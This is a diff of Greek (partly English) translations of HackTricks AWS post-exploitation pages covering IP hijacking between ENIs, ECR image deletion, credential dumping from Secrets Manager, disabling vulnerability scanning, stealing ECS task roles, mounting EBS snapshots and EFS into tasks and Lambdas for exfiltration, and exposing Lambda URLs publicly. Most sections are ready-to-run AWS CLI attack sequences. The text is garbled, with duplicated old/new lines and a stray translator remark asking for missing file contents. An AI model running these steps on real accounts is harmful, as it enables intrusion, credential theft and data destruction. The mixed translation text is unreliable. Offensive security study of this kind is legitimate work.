- ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected> # SG σε υπηρεσία-στόχο που επιτρέπει μόνο το $HIJACK_IP
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service> # ιδιωτικό DNS ή IP της προστατευμένης υπηρεσίας
Βήματα:
1) Επιλέξτε μια δευτερεύουσα IP από το ENI του θύματος
Steps:
1) Επιλέξτε μία δευτερεύουσα IP από την ENI του θύματος
```bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
```
2) Διασφαλίστε ότι ο protected host επιτρέπει μόνο εκείνη την IP (idempotent). Αν χρησιμοποιείτε SG-to-SG rules αντί για αυτό, παραλείψτε.
2) Διασφάλισε ότι ο προστατευμένος host επιτρέπει μόνο αυτήν την IP (idempotent). Αν χρησιμοποιείς SG-to-SG κανόνες, παράλειψε.
```bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
```
3) Βασική κατάσταση: από το attacker instance, το αίτημα προς PROTECTED_HOST θα πρέπει να αποτύχει χωρίς πλαστογραφημένη προέλευση (π.χ., μέσω SSM/SSH)
3) Βασική κατάσταση: από attacker instance, το αίτημα προς PROTECTED_HOST πρέπει να αποτύχει χωρίς spoofed source (π.χ., μέσω SSM/SSH)
```bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
```
4) Αποδεσμεύστε το secondary IP από το victim ENI
4) Αφαίρεση της secondary IP από το victim ENI
```bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
5) Εκχωρήστε την ίδια IP στο attacker ENI (στο AWS CLI v1 προσθέστε `--allow-reassignment`)
5) Αναθέστε την ίδια IP στην ENI του επιτιθέμενου (στο AWS CLI v1 προσθέστε `--allow-reassignment`)
```bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
6) Επαληθεύστε ότι η ιδιοκτησία έχει μεταφερθεί
6) Επαλήθευση μεταφοράς ιδιοκτησίας
```bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
```
7) Από το attacker instance, κάντε source-bind στην hijacked IP για να φτάσετε τον protected host (βεβαιωθείτε ότι η IP είναι ρυθμισμένη στο OS; αν όχι, προσθέστε την με `ip addr add $HIJACK_IP/<mask> dev eth0`)
7) Από το attacker instance, κάντε source-bind στην hijacked IP για να φτάσετε τον protected host (βεβαιωθείτε ότι η IP είναι ρυθμισμένη στο OS· αν όχι, προσθέστε την με `ip addr add $HIJACK_IP/<mask> dev eth0`)
```bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
```
## Επιπτώσεις
- Παράκαμψη των IP allowlists και μίμηση των trusted hosts εντός του VPC με μετακίνηση των secondary private IPs μεταξύ ENIs στο ίδιο subnet/AZ.
- Παρακάμψτε IP allowlists και προσποιηθείτε αξιόπιστους hosts εντός του VPC μετακινώντας secondary private IPs μεταξύ ENIs στο ίδιο subnet/AZ.
- Πρόσβαση σε εσωτερικές υπηρεσίες που ελέγχουν την πρόσβαση με βάση συγκεκριμένες source IPs, επιτρέποντας lateral movement και πρόσβαση σε δεδομένα.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## ECR
Για περισσότερες πληροφορίες δείτε
Για περισσότερες πληροφορίες, δείτε
{{#ref}}
../../aws-services/aws-ecr-enum.md
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Μετά τη λήψη των images θα πρέπει να τα ελέγξετε για ευαίσθητες πληροφορίες:
Αφού κατεβάσετε τις εικόνες, θα πρέπει να **ελέγξετε για ευαίσθητες πληροφορίες**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Ένας επιτιθέμενος με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει ένα lifecycle policy για να διαγράψει όλα τα images στο repository** και στη συνέχεια να **διαγράψει ολόκληρο το ECR repository**. Αυτό θα έχει ως αποτέλεσμα την απώλεια όλων των container images που είναι αποθηκευμένα στο repository.
An attacker με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει μια πολιτική κύκλου ζωής για να διαγράψει όλες τις εικόνες στο αποθετήριο** και στη συνέχεια να **διαγράψει ολόκληρο το ECR repository**. Αυτό θα είχε ως αποτέλεσμα την απώλεια όλων των εικόνων κοντέινερ που είναι αποθηκευμένες στο αποθετήριο.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,27 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
{{#include ../../../../banners/hacktricks-training.md}}
### Exfiltrate upstream registry credentials from ECR PullThrough Cache (PTC)
Εάν το ECR PullThrough Cache έχει ρυθμιστεί για επαληθευμένους upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με προβλέψιμο πρόθεμα ονόματος: `ecr-pullthroughcache/`. Οι operators μερικές φορές παρέχουν στους ECR admins ευρεία πρόσβαση ανάγνωσης στο Secrets Manager, επιτρέποντας την credential exfiltration και την επαναχρησιμοποίηση εκτός AWS.
Εάν το ECR PullThrough Cache έχει ρυθμιστεί για authenticated upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με ένα προβλέψιμο πρόθεμα ονόματος: `ecr-pullthroughcache/`. Οι operators μερικές φορές παραχωρούν στους ECR admins ευρεία ανάγνωση στο Secrets Manager, επιτρέποντας credential exfiltration και επαναχρησιμοποίηση εκτός AWS.
Απαιτήσεις
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
- `secretsmanager:ListSecrets`
- `secretsmanager:GetSecretValue`
Απαρίθμηση υποψήφιων PTC secrets
Εντοπισμός υποψηφίων PTC secrets
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Εξαγωγή ανακαλυφθέντων secrets και ανάλυση κοινών πεδίων
Dump τα ανακαλυφθέντα secrets και αναλύστε κοινά πεδία
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -124,13 +118,13 @@ done
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impact
- Η ανάγνωση αυτών των εγγραφών του Secrets Manager αποκαλύπτει επαναχρησιμοποιήσιμα upstream registry credentials (username/password or token), τα οποία μπορούν να καταχραστούν εκτός AWS για να pull private images ή να αποκτήσουν πρόσβαση σε επιπλέον repositories ανάλογα με τα upstream permissions.
Επίδραση
- Η ανάγνωση αυτών των καταχωρήσεων του Secrets Manager αποδίδει επαναχρησιμοποιήσιμα upstream registry credentials (username/password ή token), τα οποία μπορούν να καταχραστούν εκτός AWS για να τραβήξουν ιδιωτικές εικόνες ή να αποκτήσουν πρόσβαση σε επιπλέον repositories ανάλογα με τα upstream permissions.
### Registry-level stealth: απενεργοποίηση ή υποβάθμιση του scanning μέσω `ecr:PutRegistryScanningConfiguration`
### Αόρατη λειτουργία σε επίπεδο registry: απενεργοποίηση ή υποβάθμιση της σάρωσης μέσω `ecr:PutRegistryScanningConfiguration`
Ένας επιτιθέμενος με δικαιώματα ECR σε επίπεδο registry μπορεί αθόρυβα να μειώσει ή να απενεργοποιήσει το automatic vulnerability scanning για ALL repositories, ρυθμίζοντας το registry scanning configuration σε BASIC χωρίς κανόνες scan-on-push. Αυτό εμποδίζει τα νέα image pushes να σαρώνονται αυτόματα, κρύβοντας vulnerable ή malicious images.
Ένας attacker με δικαιώματα ECR σε επίπεδο registry μπορεί σιωπηλά να μειώσει ή να απενεργοποιήσει την αυτόματη σάρωση ευπαθειών για ΟΛΑ τα repositories θέτοντας το registry scanning configuration σε BASIC χωρίς κανόνες scan-on-push. Αυτό εμποδίζει τις νέες image pushes να σαρώνονται αυτόματα, κρύβοντας ευπαθείς ή κακόβουλες εικόνες.
Requirements
- ecr:PutRegistryScanningConfiguration
@@ -138,7 +132,7 @@ Requirements
- ecr:PutImageScanningConfiguration (optional, perrepo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Registry-wide downgrade to manual (no auto scans)
Υποβάθμιση σε όλο το registry σε χειροκίνητο (χωρίς αυτόματες σαρώσεις)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
I don't have the README.md contents. Παρακαλώ επικόλλησε το περιεχόμενο του αρχείου src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md που θες να μεταφράσω (ή διέγραψε/πάρε πρόσβαση στο κείμενο).
Προαιρετικό: περαιτέρω υποβάθμιση σε επίπεδο repo
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -173,20 +167,20 @@ aws ecr put-image-scanning-configuration \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
```
Επίπτωση
- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated.
Αντίκτυπο
- Οι νέες pushes εικόνων σε όλο το registry δεν σαρώνονται αυτόματα, μειώνοντας την ορατότητα ευάλωτου ή κακόβουλου περιεχομένου και καθυστερώντας την ανίχνευση μέχρι να ξεκινήσει χειροκίνητη σάρωση.
### Registrywide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Υποβάθμιση engine σάρωσης σε επίπεδο registry μέσω `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Μειώστε την ποιότητα ανίχνευσης ευπαθειών σε ολόκληρο το registry αλλάζοντας τον BASIC scan engine από τον προεπιλεγμένο AWS_NATIVE στον legacy CLAIR engine. Αυτό δεν απενεργοποιεί τη σάρωση αλλά μπορεί να αλλάξει ουσιωδώς τα ευρήματα/την κάλυψη. Συνδυάστε με μια BASIC registry scanning configuration χωρίς κανόνες για να καταστήσετε τις scans μόνο χειροκίνητες.
Μειώστε την ποιότητα εντοπισμού ευπαθειών σε όλο το registry αλλάζοντας το BASIC scan engine από το προεπιλεγμένο AWS_NATIVE στον παλαιότερο engine CLAIR. Αυτό δεν απενεργοποιεί τις σαρώσεις, αλλά μπορεί να αλλάξει ουσιωδώς τα ευρήματα/την κάλυψη. Συνδυάστε το με μια BASIC ρύθμιση σάρωσης registry χωρίς κανόνες ώστε οι σαρώσεις να γίνονται μόνο χειροκίνητα.
Απαιτήσεις
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Προαιρετικό) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Επίπτωση
- Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` so subsequent BASIC scans run with the downgraded engine. CloudTrail records the `PutAccountSetting` API call.
Αντίκτυπο
- Η ρύθμιση του registry `BASIC_SCAN_TYPE_VERSION` τίθεται σε `CLAIR`, έτσι οι επόμενες BASIC σαρώσεις εκτελούνται με τον υποβαθμισμένο engine. Το CloudTrail καταγράφει την κλήση API `PutAccountSetting`.
Βήματα
```bash
@@ -207,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## ECS
Για περισσότερες πληροφορίες δείτε:
For more information check:
{{#ref}}
../../aws-services/aws-ecs-enum.md
@@ -12,33 +12,33 @@
### Host IAM Roles
Στο ECS μια **IAM role μπορεί να ανατεθεί στο task** που τρέχει μέσα στο container. **If** το task τρέχει μέσα σε ένα **EC2** instance, το **EC2 instance** θα έχει **άλλη IAM** role συνημμένη σε αυτό.\
Αυτό σημαίνει ότι αν καταφέρετε να **compromise** ένα ECS instance μπορείτε ενδεχομένως να **αποκτήσετε την IAM role που σχετίζεται με το ECR και με το EC2 instance**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα credentials δείτε:
Στο ECS ένα **IAM role can be assigned to the task** που τρέχει μέσα στο container. **If** το task τρέχει μέσα σε ένα **EC2** instance, το **EC2 instance** θα έχει **another IAM** role attached to it.\
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα διαπιστευτήρια δείτε:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> Σημειώστε ότι αν το EC2 instance επιβάλλει IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT request** θα έχει **hop limit of 1**, κάνοντας αδύνατη την πρόσβαση στα EC2 metadata από ένα container μέσα στο EC2 instance.
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
### Privesc to node to steal other containers creds & secrets
Ακόμη περισσότερο, το EC2 χρησιμοποιεί docker για να τρέχει ECS tasks, οπότε αν μπορείτε να escape στο node ή **έχετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποια **other containers** τρέχουν, και ακόμα **να μπείτε μέσα σε αυτά** και **να κλέψετε τις IAM roles** που είναι επισυναπτόμενες.
But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
#### Making containers run in current host
Επιπλέον, το **EC2 instance role** συνήθως θα έχει αρκετά **permissions** για να **update the container instance state** των EC2 instances που χρησιμοποιούνται ως nodes μέσα στο cluster. Ένας attacker θα μπορούσε να τροποποιήσει την **state ενός instance σε DRAINING**, τότε ECS θα **αφαιρέσει όλα τα tasks από αυτό** και αυτά που τρέχουν ως **REPLICA** θα **τρέξουν σε διαφορετικό instance,** πιθανώς μέσα στο **instance του attacker**, ώστε να μπορεί να **κλέψει τις IAM roles τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο container.
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
Η ίδια τεχνική μπορεί να γίνει με την **αποεγγραφή του EC2 instance από το cluster**. Αυτό ενδέχεται να είναι λιγότερο διακριτικό αλλά θα **αναγκάσει τα tasks να εκτελεστούν σε άλλες instances:**
Η ίδια τεχνική μπορεί να γίνει **αφαιρώντας το EC2 instance από το cluster**. Αυτό είναι ενδεχομένως λιγότερο stealthy αλλά θα **αναγκάσει τα tasks να εκτελεστούν σε άλλες instances:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Μια τελική τεχνική για να αναγκάσετε την επανεκτέλεση των εργασιών είναι να υποδείξετε στο ECS ότι η **εργασία ή το container σταμάτησε**. Υπάρχουν 3 πιθανές APIs για να το κάνετε:
Μια τελική τεχνική για να εξαναγκάσετε την επανεκτέλεση των tasks είναι να υποδείξετε στο ECS ότι το **task ή container τερματίστηκε**. Υπάρχουν 3 πιθανές APIs για να το κάνετε αυτό:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
@@ -50,40 +50,36 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### Κλέψε ευαίσθητες πληροφορίες από ECR containers
Η EC2 instance πιθανότατα θα έχει επίσης την άδεια `ecr:GetAuthorizationToken` που της επιτρέπει να **κατεβάζει images** (μπορείς να ψάξεις για ευαίσθητες πληροφορίες μέσα τους).
{{#include ../../../../banners/hacktricks-training.md}}
### Κλέψτε ευαίσθητες πληροφορίες από ECR containers
Η EC2 instance πιθανότατα θα έχει επίσης την άδεια `ecr:GetAuthorizationToken` που της επιτρέπει να **κατεβάζει images** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες μέσα σε αυτά).
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
Καταχράσου την εγγενή ECS EBS ενσωμάτωση (2024+) για να προσαρτήσεις τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας μέσα σε ένα νέο ECS task/service και να διαβάσεις τα δεδομένα από μέσα στο container.
Κακοχρησιμοποιήστε την native ECS EBS integration (2024+) για να προσαρτήσετε τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας μέσα σε ένα νέο ECS task/service και να διαβάσετε τα δεδομένα του από μέσα στο container.
- Απαιτεί (ελάχιστο):
- Απαιτείται (ελάχιστα):
- ecs:RegisterTaskDefinition
- Ένα από: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole σε:
- ECS infrastructure role που χρησιμοποιείται για volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles που αναφέρονται στο task definition
- Εάν το snapshot είναι κρυπτογραφημένο με CMK: δικαιώματα KMS για το infra role (η AWS managed policy παραπάνω περιλαμβάνει τα απαιτούμενα KMS grants για AWS managed keys).
- ECS infrastructure role που χρησιμοποιείται για volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles που αναφέρονται στο task definition
- Αν το snapshot είναι κρυπτογραφημένο με CMK: απαιτούνται δικαιώματα KMS για τον infra ρόλο (η AWS managed policy παραπάνω περιλαμβάνει τα απαιτούμενα KMS grants για AWS managed keys).
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
- Επίπτωση: Ανάγνωση αυθαίρετων περιεχομένων δίσκου από το snapshot (π.χ. αρχεία βάσης δεδομένων) μέσα στο container και εξαγωγή μέσω network/logs.
Steps (Fargate example):
Βήματα (παράδειγμα Fargate):
1) Create the ECS infrastructure role (if it doesnt exist) and attach the managed policy:
1) Δημιουργήστε τον ECS infrastructure role (αν δεν υπάρχει) και επισυνάψτε την managed policy:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Καταχωρήστε ένα task definition με ένα volume επισημασμένο ως `configuredAtLaunch` και προσαρτήστε το στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται):
2) Καταχώρισε ένα task definition με έναν volume σημειωμένο ως `configuredAtLaunch` και προσάρτησέ τον στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται):
```json
{
"family": "ht-ebs-read",
@@ -103,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Δημιουργήστε ή ενημερώστε μια υπηρεσία περνώντας το EBS snapshot μέσω `volumeConfigurations.managedEBSVolume` (απαιτεί iam:PassRole στον infra role). Παράδειγμα:
3) Δημιουργήστε ή ενημερώστε μια υπηρεσία περνώντας το EBS snapshot μέσω του `volumeConfigurations.managedEBSVolume` (απαιτεί iam:PassRole στον ρόλο υποδομής). Παράδειγμα:
```json
{
"cluster": "ht-ecs-ebs",
@@ -117,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
]
}
```
4) Όταν ξεκινάει το task, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στη ρυθμισμένη διαδρομή mount (π.χ., `/loot`). Εξάγετε δεδομένα μέσω του network/logs του task.
4) Όταν το task ξεκινά, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στο διαμορφωμένο mount path (π.χ., `/loot`). Exfiltrate μέσω του tasks network/logs.
Καθαρισμός:
```bash
@@ -125,4 +121,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +1,20 @@
# AWS Lambda EFS Mount Injection μέσω UpdateFunctionConfiguration (Data Theft)
# AWS Lambda EFS Mount Injection via UpdateFunctionConfiguration (Κλοπή Δεδομένων)
Κακομεταχειριστείτε `lambda:UpdateFunctionConfiguration` για να επισυνάψετε ένα υπάρχον EFS Access Point σε ένα Lambda, και στη συνέχεια αναπτύξτε απλό κώδικα που απαριθμεί/διαβάζει αρχεία από την προσαρτημένη διαδρομή για να exfiltrate κοινά μυστικά/config που η συνάρτηση προηγουμένως δεν μπορούσε να προσπελάσει.
{{#include ../../../../banners/hacktricks-training.md}}
Καταχραστείτε το `lambda:UpdateFunctionConfiguration` για να επισυνάψετε ένα υπάρχον EFS Access Point σε ένα Lambda, και στη συνέχεια αναπτύξτε απλό κώδικα που απαριθμεί/διαβάζει αρχεία από την προσαρτημένη διαδρομή για να εξάγετε κοινά secrets/config που η function προηγουμένως δεν μπορούσε να προσπελάσει.
## Απαιτήσεις
- Δικαιώματα στον victim account/principal:
- Δικαιώματα στον λογαριασμό/principal του θύματος:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (για να εντοπιστούν functions)
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (για επιβεβαίωση ύπαρξης mount targets)
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Υποθέσεις περιβάλλοντος:
- Ο στοχευόμενος Lambda είναι VPC-enabled και τα subnets/SGs του μπορούν να φτάσουν το EFS mount target SG μέσω TCP/2049 (π.χ. ο role έχει AWSLambdaVPCAccessExecutionRole και το VPC routing το επιτρέπει).
- Το EFS Access Point είναι στο ίδιο VPC και έχει mount targets στις AZs των subnets του Lambda.
- Το Target Lambda είναι VPC-enabled και τα subnets/SGs του μπορούν να φτάσουν το EFS mount target SG μέσω TCP/2049 (π.χ. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- Το EFS Access Point βρίσκεται στο ίδιο VPC και έχει mount targets στις AZs των Lambda subnets.
## Επίθεση
- Μεταβλητές
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Αντικαταστήστε τον code με έναν απλό reader που απαριθμεί αρχεία και εμφανίζει τα πρώτα 200 bytes ενός υποψήφιου secret/config αρχείου
2) Επαναγράψτε τον κώδικα με έναν απλό αναγνώστη που απαριθμεί αρχεία και προεπισκοπεί τα πρώτα 200 bytes ενός υποψήφιου αρχείου μυστικού/διαμόρφωσης
```
cat > reader.py <<PY
import os, json
@@ -57,18 +59,18 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Κλήση και λήψη των δεδομένων
3) Εκτέλεση και λήψη των δεδομένων
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Η έξοδος πρέπει να περιλαμβάνει τη λίστα καταλόγων κάτω από /mnt/ht και μια μικρή προεπισκόπηση ενός επιλεγμένου secret/config αρχείου από EFS.
Η έξοδος πρέπει να περιλαμβάνει την καταχώριση του καταλόγου κάτω από /mnt/ht και μια μικρή προεπισκόπηση ενός επιλεγμένου secret/config αρχείου από EFS.
## Επιπτώσεις
Ένας attacker με τα αναφερόμενα permissions μπορεί να mount αυθαίρετα in-VPC EFS Access Points σε victim Lambda functions, για να διαβάσει και να exfiltrate κοινές ρυθμίσεις και secrets που είναι αποθηκευμένα στο EFS και που προηγουμένως ήταν μη προσβάσιμα σε αυτήν τη function.
Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα μπορεί να προσαρτήσει αυθαίρετα inVPC EFS Access Points σε θύματα Lambda functions, ώστε να διαβάσει και να exfiltrate κοινές ρυθμίσεις και μυστικά που είναι αποθηκευμένα στο EFS και που προηγουμένως ήταν μη προσβάσιμα σε αυτήν τη function.
## Εκκαθάριση
## Καθαρισμός
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,6 +1,8 @@
# AWS - Lambda Function URL Δημόσια Έκθεση (AuthType NONE + Public Invoke Policy)
Μετατρέψτε ένα ιδιωτικό Lambda Function URL σε δημόσιο, μη αυθεντικοποιημένο endpoint αλλάζοντας το Function URL AuthType σε NONE και επισυνάπτοντας μια resource-based policy που παραχωρεί lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει ανώνυμη κλήση εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες διεργασίες backend.
{{#include ../../../../banners/hacktricks-training.md}}
Μετατρέψτε ένα ιδιωτικό Lambda Function URL σε δημόσιο, μη αυθεντικοποιημένο endpoint αλλάζοντας το Function URL AuthType σε NONE και επισυνάπτοντας μια resource-based policy που χορηγεί lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει ανώνυμη κλήση εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες λειτουργίες backend.
## Κατάχρηση
@@ -8,29 +10,29 @@
- Περιοχή: us-east-1
### Βήματα
1) Βεβαιωθείτε ότι η function έχει Function URL (defaults to AWS_IAM):
1) Βεβαιωθείτε ότι η function έχει Function URL (προεπιλογή AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) Switch the URL to public (AuthType NONE):
2) Αλλάξτε το URL σε δημόσιο (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Προσθέστε δήλωση resource-based policy για να επιτρέψετε μη αυθεντικοποιημένους principals:
3) Προσθέστε μια δήλωση resource-based policy για να επιτρέψετε μη αυθεντικοποιημένους principals:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) Ανακτήστε το URL και καλέστε χωρίς διαπιστευτήρια:
4) Ανακτήστε το URL και καλέστε χωρίς credentials:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Επιπτώσεις
- Η Lambda function γίνεται ανώνυμα προσβάσιμη μέσω του internet.
- Η Lambda function γίνεται ανώνυμα προσβάσιμη μέσω του διαδικτύου.
### Παράδειγμα εξόδου (μη αυθεντικοποιημένο 200)
```
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,6 +1,8 @@
# AWS Lambda Κατάχρηση Runtime Pinning/Rollback μέσω PutRuntimeManagementConfig
# AWS Lambda Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
